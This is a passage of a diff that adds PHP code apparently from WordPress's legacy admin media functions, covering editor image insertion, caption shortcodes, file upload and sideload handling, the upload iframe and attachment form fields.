+			$href = add_query_arg(array('tab' => $callback, 's' => false, 'paged' => false, 'post_mime_type' => false, 'm' => false));
+			$link = "<a href='" . esc_url($href) . "'$class>$text</a>";
+			echo "\t<li id='" . esc_attr("tab-$callback") . "'>$link</li>\n";
+		}
+		echo "</ul>\n";
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param integer $id image attachment id
+ * @param string $caption image caption
+ * @param string $alt image alt attribute
+ * @param string $title image title attribute
+ * @param string $align image css alignment property
+ * @param string $url image src url
+ * @param string|bool $rel image rel attribute
+ * @param string $size image size (thumbnail, medium, large, full or added  with add_image_size() )
+ * @return string the html to insert into editor
+ */
+function get_image_send_to_editor($id, $caption, $title, $align, $url='', $rel = false, $size='medium', $alt = '') {
+
+	$html = get_image_tag($id, $alt, '', $align, $size);
+
+	$rel = $rel ? ' rel="attachment wp-att-' . esc_attr($id).'"' : '';
+
+	if ( $url )
+		$html = '<a href="' . esc_attr($url) . "\"$rel>$html</a>";
+
+	/**
+	 * Filter the image HTML markup to send to the editor.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $html    The image HTML markup to send.
+	 * @param int    $id      The attachment id.
+	 * @param string $caption The image caption.
+	 * @param string $title   The image title.
+	 * @param string $align   The image alignment.
+	 * @param string $url     The image source URL.
+	 * @param string $size    The image size.
+	 * @param string $alt     The image alternative, or alt, text.
+	 */
+	$html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt );
+
+	return $html;
+}
+
+/**
+ * Adds image shortcode with caption to editor
+ *
+ * @since 2.6.0
+ *
+ * @param string $html
+ * @param integer $id
+ * @param string $caption image caption
+ * @param string $alt image alt attribute
+ * @param string $title image title attribute
+ * @param string $align image css alignment property
+ * @param string $url image src url
+ * @param string $size image size (thumbnail, medium, large, full or added with add_image_size() )
+ * @return string
+ */
+function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) {
+
+	/**
+	 * Filter the caption text.
+	 *
+	 * Note: If the caption text is empty, the caption shortcode will not be appended
+	 * to the image HTML when inserted into the editor.
+	 *
+	 * Passing an empty value also prevents the {@see 'image_add_caption_shortcode'}
+	 * filter from being evaluated at the end of {@see image_add_caption()}.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $caption The original caption text.
+	 * @param int    $id      The attachment ID.
+	 */
+	$caption = apply_filters( 'image_add_caption_text', $caption, $id );
+
+	/**
+	 * Filter whether to disable captions.
+	 *
+	 * Prevents image captions from being appended to image HTML when inserted into the editor.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param bool $bool Whether to disable appending captions. Returning true to the filter
+	 *                   will disable captions. Default empty string.
+	 */
+	if ( empty($caption) || apply_filters( 'disable_captions', '' ) )
+		return $html;
+
+	$id = ( 0 < (int) $id ) ? 'attachment_' . $id : '';
+
+	if ( ! preg_match( '/width=["\']([0-9]+)/', $html, $matches ) )
+		return $html;
+
+	$width = $matches[1];
+
+	$caption = str_replace( array("\r\n", "\r"), "\n", $caption);
+	$caption = preg_replace_callback( '/<[a-zA-Z0-9]+(?: [^<>]+>)*/', '_cleanup_image_add_caption', $caption );
+
+	// Convert any remaining line breaks to <br>.
+	$caption = preg_replace( '/[ \n\t]*\n[ \t]*/', '<br />', $caption );
+
+	$html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html );
+	if ( empty($align) )
+		$align = 'none';
+
+	$shcode = '[caption id="' . $id . '" align="align' . $align	. '" width="' . $width . '"]' . $html . ' ' . $caption . '[/caption]';
+
+	/**
+	 * Filter the image HTML markup including the caption shortcode.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $shcode The image HTML markup with caption shortcode.
+	 * @param string $html   The image HTML markup.
+	 */
+	return apply_filters( 'image_add_caption_shortcode', $shcode, $html );
+}
+add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 );
+
+/**
+ * Private preg_replace callback used in image_add_caption()
+ *
+ * @access private
+ * @since 3.4.0
+ */
+function _cleanup_image_add_caption( $matches ) {
+	// Remove any line breaks from inside the tags.
+	return preg_replace( '/[\r\n\t]+/', ' ', $matches[0] );
+}
+
+/**
+ * Adds image html to editor
+ *
+ * @since 2.5.0
+ *
+ * @param string $html
+ */
+function media_send_to_editor($html) {
+?>
+<script type="text/javascript">
+/* <![CDATA[ */
+var win = window.dialogArguments || opener || parent || top;
+win.send_to_editor('<?php echo addslashes($html); ?>');
+/* ]]> */
+</script>
+<?php
+	exit;
+}
+
+/**
+ * This handles the file upload POST itself, creating the attachment post.
+ *
+ * @since 2.5.0
+ *
+ * @param string $file_id Index into the {@link $_FILES} array of the upload
+ * @param int $post_id The post ID the media is associated with
+ * @param array $post_data allows you to overwrite some of the attachment
+ * @param array $overrides allows you to override the {@link wp_handle_upload()} behavior
+ * @return int|WP_Error ID of the attachment or a WP_Error object on failure.
+ */
+function media_handle_upload($file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false )) {
+
+	$time = current_time('mysql');
+	if ( $post = get_post($post_id) ) {
+		if ( substr( $post->post_date, 0, 4 ) > 0 )
+			$time = $post->post_date;
+	}
+
+	$name = $_FILES[$file_id]['name'];
+	$file = wp_handle_upload($_FILES[$file_id], $overrides, $time);
+
+	if ( isset($file['error']) )
+		return new WP_Error( 'upload_error', $file['error'] );
+
+	$name_parts = pathinfo($name);
+	$name = trim( substr( $name, 0, -(1 + strlen($name_parts['extension'])) ) );
+
+	$url = $file['url'];
+	$type = $file['type'];
+	$file = $file['file'];
+	$title = $name;
+	$content = '';
+
+	if ( preg_match( '#^audio#', $type ) ) {
+		$meta = wp_read_audio_metadata( $file );
+
+		if ( ! empty( $meta['title'] ) )
+			$title = $meta['title'];
+
+		$content = '';
+
+		if ( ! empty( $title ) ) {
+
+			if ( ! empty( $meta['album'] ) && ! empty( $meta['artist'] ) ) {
+				/* translators: 1: audio track title, 2: album title, 3: artist name */
+				$content .= sprintf( __( '"%1$s" from %2$s by %3$s.' ), $title, $meta['album'], $meta['artist'] );
+			} else if ( ! empty( $meta['album'] ) ) {
+				/* translators: 1: audio track title, 2: album title */
+				$content .= sprintf( __( '"%1$s" from %2$s.' ), $title, $meta['album'] );
+			} else if ( ! empty( $meta['artist'] ) ) {
+				/* translators: 1: audio track title, 2: artist name */
+				$content .= sprintf( __( '"%1$s" by %2$s.' ), $title, $meta['artist'] );
+			} else {
+				$content .= sprintf( __( '"%s".' ), $title );
+			}
+
+		} else if ( ! empty( $meta['album'] ) ) {
+
+			if ( ! empty( $meta['artist'] ) ) {
+				/* translators: 1: audio album title, 2: artist name */
+				$content .= sprintf( __( '%1$s by %2$s.' ), $meta['album'], $meta['artist'] );
+			} else {
+				$content .= $meta['album'] . '.';
+			}
+
+		} else if ( ! empty( $meta['artist'] ) ) {
+
+			$content .= $meta['artist'] . '.';
+
+		}
+
+		if ( ! empty( $meta['year'] ) )
+			$content .= ' ' . sprintf( __( 'Released: %d.' ), $meta['year'] );
+
+		if ( ! empty( $meta['track_number'] ) ) {
+			$track_number = explode( '/', $meta['track_number'] );
+			if ( isset( $track_number[1] ) )
+				$content .= ' ' . sprintf( __( 'Track %1$s of %2$s.' ), number_format_i18n( $track_number[0] ), number_format_i18n( $track_number[1] ) );
+			else
+				$content .= ' ' . sprintf( __( 'Track %1$s.' ), number_format_i18n( $track_number[0] ) );
+		}
+
+		if ( ! empty( $meta['genre'] ) )
+			$content .= ' ' . sprintf( __( 'Genre: %s.' ), $meta['genre'] );
+
+	// Use image exif/iptc data for title and caption defaults if possible.
+	} elseif ( 0 === strpos( $type, 'image/' ) && $image_meta = @wp_read_image_metadata( $file ) ) {
+		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) )
+			$title = $image_meta['title'];
+		if ( trim( $image_meta['caption'] ) )
+			$content = $image_meta['caption'];
+	}
+
+	// Construct the attachment array
+	$attachment = array_merge( array(
+		'post_mime_type' => $type,
+		'guid' => $url,
+		'post_parent' => $post_id,
+		'post_title' => $title,
+		'post_content' => $content,
+	), $post_data );
+
+	// This should never be set as it would then overwrite an existing attachment.
+	if ( isset( $attachment['ID'] ) )
+		unset( $attachment['ID'] );
+
+	// Save the data
+	$id = wp_insert_attachment($attachment, $file, $post_id);
+	if ( !is_wp_error($id) ) {
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+	}
+
+	return $id;
+
+}
+
+/**
+ * This handles a sideloaded file in the same way as an uploaded file is handled by {@link media_handle_upload()}
+ *
+ * @since 2.6.0
+ *
+ * @param array $file_array Array similar to a {@link $_FILES} upload array
+ * @param int $post_id The post ID the media is associated with
+ * @param string $desc Description of the sideloaded file
+ * @param array $post_data allows you to overwrite some of the attachment
+ * @return int|object The ID of the attachment or a WP_Error on failure
+ */
+function media_handle_sideload($file_array, $post_id, $desc = null, $post_data = array()) {
+	$overrides = array('test_form'=>false);
+
+	$time = current_time( 'mysql' );
+	if ( $post = get_post( $post_id ) ) {
+		if ( substr( $post->post_date, 0, 4 ) > 0 )
+			$time = $post->post_date;
+	}
+
+	$file = wp_handle_sideload( $file_array, $overrides, $time );
+	if ( isset($file['error']) )
+		return new WP_Error( 'upload_error', $file['error'] );
+
+	$url = $file['url'];
+	$type = $file['type'];
+	$file = $file['file'];
+	$title = preg_replace('/\.[^.]+$/', '', basename($file));
+	$content = '';
+
+	// Use image exif/iptc data for title and caption defaults if possible.
+	if ( $image_meta = @wp_read_image_metadata($file) ) {
+		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) )
+			$title = $image_meta['title'];
+		if ( trim( $image_meta['caption'] ) )
+			$content = $image_meta['caption'];
+	}
+
+	if ( isset( $desc ) )
+		$title = $desc;
+
+	// Construct the attachment array.
+	$attachment = array_merge( array(
+		'post_mime_type' => $type,
+		'guid' => $url,
+		'post_parent' => $post_id,
+		'post_title' => $title,
+		'post_content' => $content,
+	), $post_data );
+
+	// This should never be set as it would then overwrite an existing attachment.
+	if ( isset( $attachment['ID'] ) )
+		unset( $attachment['ID'] );
+
+	// Save the attachment metadata
+	$id = wp_insert_attachment($attachment, $file, $post_id);
+	if ( !is_wp_error($id) )
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+
+	return $id;
+}
+
+/**
+ * Adds the iframe to display content for the media upload page
+ *
+ * @since 2.5.0
+ *
+ * @param string|callable $content_func
+ */
+function wp_iframe($content_func /* ... */) {
+	_wp_admin_html_begin();
+?>
+<title><?php bloginfo('name') ?> &rsaquo; <?php _e('Uploads'); ?> &#8212; <?php _e('WordPress'); ?></title>
+<?php
+
+wp_enqueue_style( 'colors' );
+// Check callback name for 'media'
+if ( ( is_array( $content_func ) && ! empty( $content_func[1] ) && 0 === strpos( (string) $content_func[1], 'media' ) )
+	|| ( ! is_array( $content_func ) && 0 === strpos( $content_func, 'media' ) ) )
+	wp_enqueue_style( 'media' );
+wp_enqueue_style( 'ie' );
+?>
+<script type="text/javascript">
+//<![CDATA[
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+var ajaxurl = '<?php echo admin_url( 'admin-ajax.php', 'relative' ); ?>', pagenow = 'media-upload-popup', adminpage = 'media-upload-popup',
+isRtl = <?php echo (int) is_rtl(); ?>;
+//]]>
+</script>
+<?php
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_enqueue_scripts', 'media-upload-popup' );
+
+	/**
+	 * Fires when admin styles enqueued for the legacy (pre-3.5.0) media upload popup are printed.
+	 *
+	 * @since 2.9.0
+	 */
+	do_action( 'admin_print_styles-media-upload-popup' );
+
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_print_styles' );
+
+	/**
+	 * Fires when admin scripts enqueued for the legacy (pre-3.5.0) media upload popup are printed.
+	 *
+	 * @since 2.9.0
+	 */
+	do_action( 'admin_print_scripts-media-upload-popup' );
+
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_print_scripts' );
+
+	/**
+	 * Fires when scripts enqueued for the admin header for the legacy (pre-3.5.0)
+	 * media upload popup are printed.
+	 *
+	 * @since 2.9.0
+	 */
+	do_action( 'admin_head-media-upload-popup' );
+
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_head' );
+
+if ( is_string( $content_func ) ) {
+	/**
+	 * Fires in the admin header for each specific form tab in the legacy
+	 * (pre-3.5.0) media upload popup.
+	 *
+	 * The dynamic portion of the hook, `$content_func`, refers to the form
+	 * callback for the media upload type. Possible values include
+	 * 'media_upload_type_form', 'media_upload_type_url_form', and
+	 * 'media_upload_library_form'.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( "admin_head_{$content_func}" );
+}
+?>
+</head>
+<body<?php if ( isset($GLOBALS['body_id']) ) echo ' id="' . $GLOBALS['body_id'] . '"'; ?> class="wp-core-ui no-js">
+<script type="text/javascript">
+document.body.className = document.body.className.replace('no-js', 'js');
+</script>
+<?php
+	$args = func_get_args();
+	$args = array_slice($args, 1);
+	call_user_func_array($content_func, $args);
+
+	/** This action is documented in wp-admin/admin-footer.php */
+	do_action( 'admin_print_footer_scripts' );
+?>
+<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
+</body>
+</html>
+<?php
+}
+
+/**
+ * Adds the media button to the editor
+ *
+ * @since 2.5.0
+ *
+ * @param string $editor_id
+ */
+function media_buttons($editor_id = 'content') {
+	static $instance = 0;
+	$instance++;
+
+	$post = get_post();
+	if ( ! $post && ! empty( $GLOBALS['post_ID'] ) )
+		$post = $GLOBALS['post_ID'];
+
+	wp_enqueue_media( array(
+		'post' => $post
+	) );
+
+	$img = '<span class="wp-media-buttons-icon"></span> ';
+
+	$id_attribute = $instance === 1 ? ' id="insert-media-button"' : '';
+	printf( '<a href="#"%s class="button insert-media add_media" data-editor="%s" title="%s">%s</a>',
+		$id_attribute,
+		esc_attr( $editor_id ),
+		esc_attr__( 'Add Media' ),
+		$img . __( 'Add Media' )
+	);
+	/**
+	 * Filter the legacy (pre-3.5.0) media buttons.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 3.5.0 Use 'media_buttons' action instead.
+	 *
+	 * @param string $string Media buttons context. Default empty.
+	 */
+	$legacy_filter = apply_filters( 'media_buttons_context', '' );
+
+	if ( $legacy_filter ) {
+		// #WP22559. Close <a> if a plugin started by closing <a> to open their own <a> tag.
+		if ( 0 === stripos( trim( $legacy_filter ), '</a>' ) )
+			$legacy_filter .= '</a>';
+		echo $legacy_filter;
+	}
+}
+add_action( 'media_buttons', 'media_buttons' );
+
+/**
+ *
+ * @global int $post_ID
+ * @param string $type
+ * @param int $post_id
+ * @param string $tab
+ * @return string
+ */
+function get_upload_iframe_src( $type = null, $post_id = null, $tab = null ) {
+	global $post_ID;
+
+	if ( empty( $post_id ) )
+		$post_id = $post_ID;
+
+	$upload_iframe_src = add_query_arg( 'post_id', (int) $post_id, admin_url('media-upload.php') );
+
+	if ( $type && 'media' != $type )
+		$upload_iframe_src = add_query_arg('type', $type, $upload_iframe_src);
+
+	if ( ! empty( $tab ) )
+		$upload_iframe_src = add_query_arg('tab', $tab, $upload_iframe_src);
+
+	/**
+	 * Filter the upload iframe source URL for a specific media type.
+	 *
+	 * The dynamic portion of the hook name, `$type`, refers to the type
+	 * of media uploaded.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $upload_iframe_src The upload iframe source URL by type.
+	 */
+	$upload_iframe_src = apply_filters( $type . '_upload_iframe_src', $upload_iframe_src );
+
+	return add_query_arg('TB_iframe', true, $upload_iframe_src);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @return mixed void|object WP_Error on failure
+ */
+function media_upload_form_handler() {
+	check_admin_referer('media-form');
+
+	$errors = null;
+
+	if ( isset($_POST['send']) ) {
+		$keys = array_keys($_POST['send']);
+		$send_id = (int) array_shift($keys);
+	}
+
+	if ( !empty($_POST['attachments']) ) foreach ( $_POST['attachments'] as $attachment_id => $attachment ) {
+		$post = $_post = get_post($attachment_id, ARRAY_A);
+
+		if ( !current_user_can( 'edit_post', $attachment_id ) )
+			continue;
+
+		if ( isset($attachment['post_content']) )
+			$post['post_content'] = $attachment['post_content'];
+		if ( isset($attachment['post_title']) )
+			$post['post_title'] = $attachment['post_title'];
+		if ( isset($attachment['post_excerpt']) )
+			$post['post_excerpt'] = $attachment['post_excerpt'];
+		if ( isset($attachment['menu_order']) )
+			$post['menu_order'] = $attachment['menu_order'];
+
+		if ( isset($send_id) && $attachment_id == $send_id ) {
+			if ( isset($attachment['post_parent']) )
+				$post['post_parent'] = $attachment['post_parent'];
+		}
+
+		/**
+		 * Filter the attachment fields to be saved.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @see wp_get_attachment_metadata()
+		 *
+		 * @param WP_Post $post       The WP_Post object.
+		 * @param array   $attachment An array of attachment metadata.
+		 */
+		$post = apply_filters( 'attachment_fields_to_save', $post, $attachment );
+
+		if ( isset($attachment['image_alt']) ) {
+			$image_alt = wp_unslash( $attachment['image_alt'] );
+			if ( $image_alt != get_post_meta($attachment_id, '_wp_attachment_image_alt', true) ) {
+				$image_alt = wp_strip_all_tags( $image_alt, true );
+
+				// Update_meta expects slashed.
+				update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
+			}
+		}
+
+		if ( isset($post['errors']) ) {
+			$errors[$attachment_id] = $post['errors'];
+			unset($post['errors']);
+		}
+
+		if ( $post != $_post )
+			wp_update_post($post);
+
+		foreach ( get_attachment_taxonomies($post) as $t ) {
+			if ( isset($attachment[$t]) )
+				wp_set_object_terms($attachment_id, array_map('trim', preg_split('/,+/', $attachment[$t])), $t, false);
+		}
+	}
+
+	if ( isset($_POST['insert-gallery']) || isset($_POST['update-gallery']) ) { ?>
+		<script type="text/javascript">
+		/* <![CDATA[ */
+		var win = window.dialogArguments || opener || parent || top;
+		win.tb_remove();
+		/* ]]> */
+		</script>
+		<?php
+		exit;
+	}
+
+	if ( isset($send_id) ) {
+		$attachment = wp_unslash( $_POST['attachments'][$send_id] );
+
+		$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
+		if ( !empty($attachment['url']) ) {
+			$rel = '';
+			if ( strpos($attachment['url'], 'attachment_id') || get_attachment_link($send_id) == $attachment['url'] )
+				$rel = " rel='attachment wp-att-" . esc_attr($send_id) . "'";
+			$html = "<a href='{$attachment['url']}'$rel>$html</a>";
+		}
+
+		/**
+		 * Filter the HTML markup for a media item sent to the editor.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @see wp_get_attachment_metadata()
+		 *
+		 * @param string $html       HTML markup for a media item sent to the editor.
+		 * @param int    $send_id    The first key from the $_POST['send'] data.
+		 * @param array  $attachment Array of attachment metadata.
+		 */
+		$html = apply_filters( 'media_send_to_editor', $html, $send_id, $attachment );
+		return media_send_to_editor($html);
+	}
+
+	return $errors;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @return null|string
+ */
+function wp_media_upload_handler() {
+	$errors = array();
+	$id = 0;
+
+	if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
+		check_admin_referer('media-form');
+		// Upload File button was clicked
+		$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
+		unset($_FILES);
+		if ( is_wp_error($id) ) {
+			$errors['upload_error'] = $id;
+			$id = false;
+		}
+	}
+
+	if ( !empty($_POST['insertonlybutton']) ) {
+		$src = $_POST['src'];
+		if ( !empty($src) && !strpos($src, '://') )
+			$src = "http://$src";
+
+		if ( isset( $_POST['media_type'] ) && 'image' != $_POST['media_type'] ) {
+			$title = esc_html( wp_unslash( $_POST['title'] ) );
+			if ( empty( $title ) )
+				$title = esc_html( basename( $src ) );
+
+			if ( $title && $src )
+				$html = "<a href='" . esc_url($src) . "'>$title</a>";
+
+			$type = 'file';
+			if ( ( $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src ) ) && ( $ext_type = wp_ext2type( $ext ) )
+				&& ( 'audio' == $ext_type || 'video' == $ext_type ) )
+					$type = $ext_type;
+
+			/**
+			 * Filter the URL sent to the editor for a specific media type.
+			 *
+			 * The dynamic portion of the hook name, `$type`, refers to the type
+			 * of media being sent.
+			 *
+			 * @since 3.3.0
+			 *
+			 * @param string $html  HTML markup sent to the editor.
+			 * @param string $src   Media source URL.
+			 * @param string $title Media title.
+			 */
+			$html = apply_filters( $type . '_send_to_editor_url', $html, esc_url_raw( $src ), $title );
+		} else {
+			$align = '';
+			$alt = esc_attr( wp_unslash( $_POST['alt'] ) );
+			if ( isset($_POST['align']) ) {
+				$align = esc_attr( wp_unslash( $_POST['align'] ) );
+				$class = " class='align$align'";
+			}
+			if ( !empty($src) )
+				$html = "<img src='" . esc_url($src) . "' alt='$alt'$class />";
+
+			/**
+			 * Filter the image URL sent to the editor.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param string $html  HTML markup sent to the editor for an image.
+			 * @param string $src   Image source URL.
+			 * @param string $alt   Image alternate, or alt, text.
+			 * @param string $align The image alignment. Default 'alignnone'. Possible values include
+			 *                      'alignleft', 'aligncenter', 'alignright', 'alignnone'.
+			 */
+			$html = apply_filters( 'image_send_to_editor_url', $html, esc_url_raw( $src ), $alt, $align );
+		}
+
+		return media_send_to_editor($html);
+	}
+
+	if ( isset( $_POST['save'] ) ) {
+		$errors['upload_notice'] = __('Saved.');
+		return media_upload_gallery();
+	} elseif ( ! empty( $_POST ) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' ) {
+		$type = 'image';
+		if ( isset( $_GET['type'] ) && in_array( $_GET['type'], array( 'video', 'audio', 'file' ) ) )
+			$type = $_GET['type'];
+		return wp_iframe( 'media_upload_type_url_form', $type, $errors, $id );
+	}
+
+	return wp_iframe( 'media_upload_type_form', 'image', $errors, $id );
+}
+
+/**
+ * Download an image from the specified URL and attach it to a post.
+ *
+ * @since 2.6.0
+ *
+ * @param string $file The URL of the image to download
+ * @param int $post_id The post ID the media is to be associated with
+ * @param string $desc Optional. Description of the image
+ * @return string|WP_Error Populated HTML img tag on success
+ */
+function media_sideload_image( $file, $post_id, $desc = null ) {
+	if ( ! empty( $file ) ) {
+		// Set variables for storage, fix file filename for query strings.
+		preg_match( '/[^\?]+\.(jpe?g|jpe|gif|png)\b/i', $file, $matches );
+		$file_array = array();
+		$file_array['name'] = basename( $matches[0] );
+
+		// Download file to temp location.
+		$file_array['tmp_name'] = download_url( $file );
+
+		// If error storing temporarily, return the error.
+		if ( is_wp_error( $file_array['tmp_name'] ) ) {
+			return $file_array['tmp_name'];
+		}
+
+		// Do the validation and storage stuff.
+		$id = media_handle_sideload( $file_array, $post_id, $desc );
+
+		// If error storing permanently, unlink.
+		if ( is_wp_error( $id ) ) {
+			@unlink( $file_array['tmp_name'] );
+			return $id;
+		}
+
+		$src = wp_get_attachment_url( $id );
+	}
+
+	// Finally check to make sure the file has been saved, then return the HTML.
+	if ( ! empty( $src ) ) {
+		$alt = isset( $desc ) ? esc_attr( $desc ) : '';
+		$html = "<img src='$src' alt='$alt' />";
+		return $html;
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @return string|null
+ */
+function media_upload_gallery() {
+	$errors = array();
+
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	wp_enqueue_script('admin-gallery');
+	return wp_iframe( 'media_upload_gallery_form', $errors );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @return string|null
+ */
+function media_upload_library() {
+	$errors = array();
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	return wp_iframe( 'media_upload_library_form', $errors );
+}
+
+/**
+ * Retrieve HTML for the image alignment radio buttons with the specified one checked.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_Post $post
+ * @param string $checked
+ * @return string
+ */
+function image_align_input_fields( $post, $checked = '' ) {
+
+	if ( empty($checked) )
+		$checked = get_user_setting('align', 'none');
+
+	$alignments = array('none' => __('None'), 'left' => __('Left'), 'center' => __('Center'), 'right' => __('Right'));
+	if ( !array_key_exists( (string) $checked, $alignments ) )
+		$checked = 'none';
+
+	$out = array();
+	foreach ( $alignments as $name => $label ) {
+		$name = esc_attr($name);
+		$out[] = "<input type='radio' name='attachments[{$post->ID}][align]' id='image-align-{$name}-{$post->ID}' value='$name'".
+			( $checked == $name ? " checked='checked'" : "" ) .
+			" /><label for='image-align-{$name}-{$post->ID}' class='align image-align-{$name}-label'>$label</label>";
+	}
+	return join("\n", $out);
+}
+
+/**
+ * Retrieve HTML for the size radio buttons with the specified one checked.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_Post $post
+ * @param bool|string $check
+ * @return array
+ */
+function image_size_input_fields( $post, $check = '' ) {
+
+	/**
+	 * Filter the names and labels of the default image sizes.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $size_names Array of image sizes and their names. Default values
+	 *                          include 'Thumbnail', 'Medium', 'Large', 'Full Size'.
+	 */
+	$size_names = apply_filters( 'image_size_names_choose', array(
+		'thumbnail' => __( 'Thumbnail' ),
+		'medium'    => __( 'Medium' ),
+		'large'     => __( 'Large' ),
+		'full'      => __( 'Full Size' )
+	) );
+
+		if ( empty($check) )
+			$check = get_user_setting('imgsize', 'medium');
+
+		foreach ( $size_names as $size => $label ) {
+			$downsize = image_downsize($post->ID, $size);
+			$checked = '';
+
+			// Is this size selectable?
+			$enabled = ( $downsize[3] || 'full' == $size );
+			$css_id = "image-size-{$size}-{$post->ID}";
+
+			// If this size is the default but that's not available, don't select it.
+			if ( $size == $check ) {
+				if ( $enabled )
+					$checked = " checked='checked'";
+				else
+					$check = '';
+			} elseif ( !$check && $enabled && 'thumbnail' != $size ) {
+				/*
+				 * If $check is not enabled, default to the first available size
+				 * that's bigger than a thumbnail.
+				 */
+				$check = $size;
+				$checked = " checked='checked'";
+			}
+
+			$html = "<div class='image-size-item'><input type='radio' " . disabled( $enabled, false, false ) . "name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'$checked />";
+
+			$html .= "<label for='{$css_id}'>$label</label>";
+
+			// Only show the dimensions if that choice is available.
+			if ( $enabled )
+				$html .= " <label for='{$css_id}' class='help'>" . sprintf( "(%d&nbsp;&times;&nbsp;%d)", $downsize[1], $downsize[2] ). "</label>";
+
+			$html .= '</div>';
+
+			$out[] = $html;
+		}
+
+		return array(
+			'label' => __('Size'),
+			'input' => 'html',
+			'html'  => join("\n", $out),
+		);
+}
+
+/**
+ * Retrieve HTML for the Link URL buttons with the default link type as specified.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_Post $post
+ * @param string $url_type
+ * @return string
+ */
+function image_link_input_fields($post, $url_type = '') {
+
+	$file = wp_get_attachment_url($post->ID);
+	$link = get_attachment_link($post->ID);
+
+	if ( empty($url_type) )
+		$url_type = get_user_setting('urlbutton', 'post');
+
+	$url = '';
+	if ( $url_type == 'file' )
+		$url = $file;
+	elseif ( $url_type == 'post' )
+		$url = $link;
+
+	return "
+	<input type='text' class='text urlfield' name='attachments[$post->ID][url]' value='" . esc_attr($url) . "' /><br />
+	<button type='button' class='button urlnone' data-link-url=''>" . __('None') . "</button>
+	<button type='button' class='button urlfile' data-link-url='" . esc_attr($file) . "'>" . __('File URL') . "</button>
+	<button type='button' class='button urlpost' data-link-url='" . esc_attr($link) . "'>" . __('Attachment Post URL') . "</button>
+";
+}
+
+function wp_caption_input_textarea($edit_post) {
+	// Post data is already escaped.
+	$name = "attachments[{$edit_post->ID}][post_excerpt]";
+
+	return '<textarea name="' . $name . '" id="' . $name . '">' . $edit_post->post_excerpt . '</textarea>';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param array $form_fields
+ * @param object $post
+ * @return array
+ */
+function image_attachment_fields_to_edit($form_fields, $post) {
+	return $form_fields;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param array   $form_fields An array of attachment form fields.
+ * @param WP_Post $post        The WP_Post attachment object.
+ * @return array Filtered attachment form fields.
+ */
+function media_single_attachment_fields_to_edit( $form_fields, $post ) {
+	unset($form_fields['url'], $form_fields['align'], $form_fields['image-size']);
+	return $form_fields;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.8.0
+ *
+ * @param array   $form_fields An array of attachment form fields.
+ * @param WP_Post $post        The WP_Post attachment object.
+ * @return array Filtered attachment form fields.
+ */
+function media_post_single_attachment_fields_to_edit( $form_fields, $post ) {
+	unset($form_fields['image_url']);
+	return $form_fields;
+}
+
+/**
+ * Filters input from media_upload_form_handler() and assigns a default
+ * post_title from the file name if none supplied.
+ *
+ * Illustrates the use of the attachment_fields_to_save filter
+ * which can be used to add default values to any field before saving to DB.
+ *
+ * @since 2.5.0
+ *
+ * @param array $post       The WP_Post attachment object converted to an array.
+ * @param array $attachment An array of attachment metadata.
+ * @return array Filtered attachment post object.
+ */
+function image_attachment_fields_to_save( $post, $attachment ) {
+	if ( substr( $post['post_mime_type'], 0, 5 ) == 'image' ) {
